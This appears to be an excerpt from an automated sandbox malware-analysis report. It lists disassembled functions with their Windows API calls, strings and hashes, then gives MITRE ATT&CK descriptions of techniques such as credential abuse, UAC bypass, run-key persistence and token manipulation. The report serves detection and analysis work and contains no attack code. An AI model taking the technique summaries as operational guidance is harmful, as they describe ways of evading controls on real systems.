Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction ID: 306446bb24485c6a1632d1ded80a2a3e160eebb33f4dfe213353dda41140a68c
Opcode Fuzzy Hash: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
Instruction Fuzzy Hash: B7114C72A08B81C6DB04AF56F4040ACBBB0F74DF84B488125DB5E43729DF38E556C740

Function 00007FF64B579158 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF64B579163
RtlLookupFunctionEntry.NTDLL ref: 00007FF64B579182
RtlVirtualUnwind.NTDLL ref: 00007FF64B5791CF
__raise_securityfailure.LIBCMT ref: 00007FF64B579245

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction ID: 68242c7f73a1e28ee12accdd80cf1cb6a6e5109442b3a9715bd70b2b59e4ad35
Opcode Fuzzy Hash: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
Instruction Fuzzy Hash: E121BEB6A1CB45D1EA48BF04E880369B3A4FB88B95F500136DA9D827B6DF7DE454D700

Function 00007FF64B574AD0 Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B568798), ref: 00007FF64B574AD6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B568798), ref: 00007FF64B574AEF

Part of subcall function 00007FF64B574A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A28
Part of subcall function 00007FF64B574A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A66
Part of subcall function 00007FF64B574A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A7D
Part of subcall function 00007FF64B574A14: memmove.MSVCRT(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A9A
Part of subcall function 00007FF64B574A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574AA2

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B568798), ref: 00007FF64B57EE64
RtlFreeHeap.NTDLL(?,?,?,00007FF64B568798), ref: 00007FF64B57EE78

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$Process$AllocEnvironmentFreeStrings$memmove
String ID:
API String ID: 2759988882-0
Opcode ID: 75675db4d9e082b6ee3134e55f7fee0755989425f88a4696f40f247a198a0c52
Instruction ID: f1af5193f340c2c7f981b4df830a0231ca804c334c856d6df8422f8a10a0f2c1
Opcode Fuzzy Hash: 75675db4d9e082b6ee3134e55f7fee0755989425f88a4696f40f247a198a0c52
Instruction Fuzzy Hash: 05F0E761B1DB42C6EE18BF66E404178EAE1EF8EB41F48D434CD2EC2362EE7CA5458710

Function 00007FF64B5910D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B56CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B56B9A1,?,?,?,?,00007FF64B56D81A), ref: 00007FF64B56CDA6
Part of subcall function 00007FF64B56CD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF64B56B9A1,?,?,?,?,00007FF64B56D81A), ref: 00007FF64B56CDBD

wcschr.MSVCRT ref: 00007FF64B5911DC
memmove.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF64B58827A), ref: 00007FF64B591277

Strings

&()[]{}^=;!%'+,`~, xrefs: 00007FF64B5911D5

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$AllocateProcessmemmovewcschr
String ID: &()[]{}^=;!%'+,`~
API String ID: 4220614737-381716982
Opcode ID: bd83934b9501f045900d4cea0c34526f969d72289539c66b600af79ca04ff41e
Instruction ID: dc1a4a19d59ebf6b269b8b0803f1eb344b771883ee2996f306fcb1ce8c5bbd42
Opcode Fuzzy Hash: bd83934b9501f045900d4cea0c34526f969d72289539c66b600af79ca04ff41e
Instruction Fuzzy Hash: E571B7B1A0C252D9EB68BF15E440679F6A4FB9C795F404236C96DC7BB6CF3CA4518B00

Function 00007FF64B56E420 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B5706C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B5706D6
Part of subcall function 00007FF64B5706C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B5706F0
Part of subcall function 00007FF64B5706C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B57074D
Part of subcall function 00007FF64B5706C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B570762

Part of subcall function 00007FF64B56EF40: iswspace.MSVCRT ref: 00007FF64B56F000
Part of subcall function 00007FF64B56EF40: wcschr.MSVCRT ref: 00007FF64B56F031
Part of subcall function 00007FF64B56EF40: iswdigit.MSVCRT ref: 00007FF64B56F0D6

longjmp.MSVCRT ref: 00007FF64B57CCBC
longjmp.MSVCRT(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B57CCE0

Strings

GeToken: (%x) '%s', xrefs: 00007FF64B57CC39, 00007FF64B57CCF2

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$AllocProcesslongjmp$iswdigitiswspacewcschr
String ID: GeToken: (%x) '%s'
API String ID: 3282654869-1994581435
Opcode ID: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
Instruction ID: 5105584362beb2cf897bddbf296d011b5ef99a62a1cf1149c48e09764e1d626e
Opcode Fuzzy Hash: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
Instruction Fuzzy Hash: AF61DF61B0E64282FA1CBF21E45427DA3A0AF5CBA4F545935CA3D8B6F7EE7CE4418700

Function 00007FF64B5908EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF64B5909BC
wcsncmp.MSVCRT ref: 00007FF64B5909F5

Strings

0123456789, xrefs: 00007FF64B5908FE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memmovewcsncmp
String ID: 0123456789
API String ID: 3879766669-2793719750
Opcode ID: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
Instruction ID: 04f40218c2ec25c9f78f491eed9afa60a510a8a2e74731e22fdd077f67fceba5
Opcode Fuzzy Hash: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
Instruction Fuzzy Hash: 8641D762F1C786C1EA29BF36D4002BAA395FB4CB90F485531DE6E877A6DE3CD4418780

Function 00007FF64B589784 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B5897D0

Part of subcall function 00007FF64B56D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D46E
Part of subcall function 00007FF64B56D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D485
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D4EE
Part of subcall function 00007FF64B56D3F0: iswspace.MSVCRT ref: 00007FF64B56D54D
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D569
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D58C

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B5898D7

Strings

Software\Classes, xrefs: 00007FF64B5897C2

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
String ID: Software\Classes
API String ID: 2714550308-1656466771
Opcode ID: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
Instruction ID: eecd0ad035f943be5a88bdadabd257ea16ea512f8233cc222c99b115a574e78f
Opcode Fuzzy Hash: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
Instruction Fuzzy Hash: 21418D22A1D75281EA48FF16E445039B3A4FB98BD0F509131DA6E877F2DE39D866C740

Function 00007FF64B58A0B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B58A0FC

Part of subcall function 00007FF64B56D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D46E
Part of subcall function 00007FF64B56D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D485
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D4EE
Part of subcall function 00007FF64B56D3F0: iswspace.MSVCRT ref: 00007FF64B56D54D
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D569
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D58C

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B58A1FB

Strings

Software\Classes, xrefs: 00007FF64B58A0EE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
String ID: Software\Classes
API String ID: 2714550308-1656466771
Opcode ID: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
Instruction ID: a8d07fe793d3de4a16bbbd54b779132cd17869ea3c505c89b5033615dece291b
Opcode Fuzzy Hash: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
Instruction Fuzzy Hash: 20417E22A1DB5681EA09BF15D445439B3A5FF887D0F508131DA6EC77B2DF39E866C340

Function 00007FF64B56CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF64B57C736
SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF64B57C7E0

Strings

- , xrefs: 00007FF64B57C7A6

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ConsoleTitle
String ID: -
API String ID: 3358957663-3695764949
Opcode ID: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
Instruction ID: 97607d27210d06bb0214de47598f7365e320c65ed2444f9d920f60ae82478c47
Opcode Fuzzy Hash: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
Instruction Fuzzy Hash: DA315921B0C64286EA18BF11E800078FBA4AB4DB90F589135CA2E97BF7DFBCE451C754

Function 00007FF64B577280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF64B5772D2
swscanf.MSVCRT ref: 00007FF64B57731F

Strings

:EOF, xrefs: 00007FF64B5772E8

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsnicmpswscanf
String ID: :EOF
API String ID: 1534968528-551370653
Opcode ID: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
Instruction ID: ccfdc26da83cba094993acb69bd07c56163d0e53fa5a2907f84d35fa56c07227
Opcode Fuzzy Hash: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
Instruction Fuzzy Hash: 45315C71B0CA4286EA6CBF15F8402B8B6A0EF4DB50F448131DA6D862B6DF6CE841C640

Function 00007FF64B563BE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF64B563C85

Strings

/-Y, xrefs: 00007FF64B58184D

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsnicmp
String ID: /-Y
API String ID: 1886669725-4274875248
Opcode ID: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
Instruction ID: 29f653c6ec309a224caf529fdde8cc4d518c7214cfeb0afd5cfe9fe6507ab40c
Opcode Fuzzy Hash: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
Instruction Fuzzy Hash: 66213065E0C65681FA18BF0AD540178B6A0BF4DFC0F449031EE6D977A6EE3CE492D700

Function 00007FF64B5706C0 Relevance: 5.1, APIs: 4, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B5706D6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B5706F0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B57074D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B56B4DB), ref: 00007FF64B570762

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction ID: c76aac582b3a4af72e1242357b8117bbac1635542fa95e2f4f3ed9ab42ef5d39
Opcode Fuzzy Hash: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction Fuzzy Hash: 22414D72A0D64286EA5CBF64E44057AB7E0EB4DB40F588035C66E837A2DF7CA545CB40

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

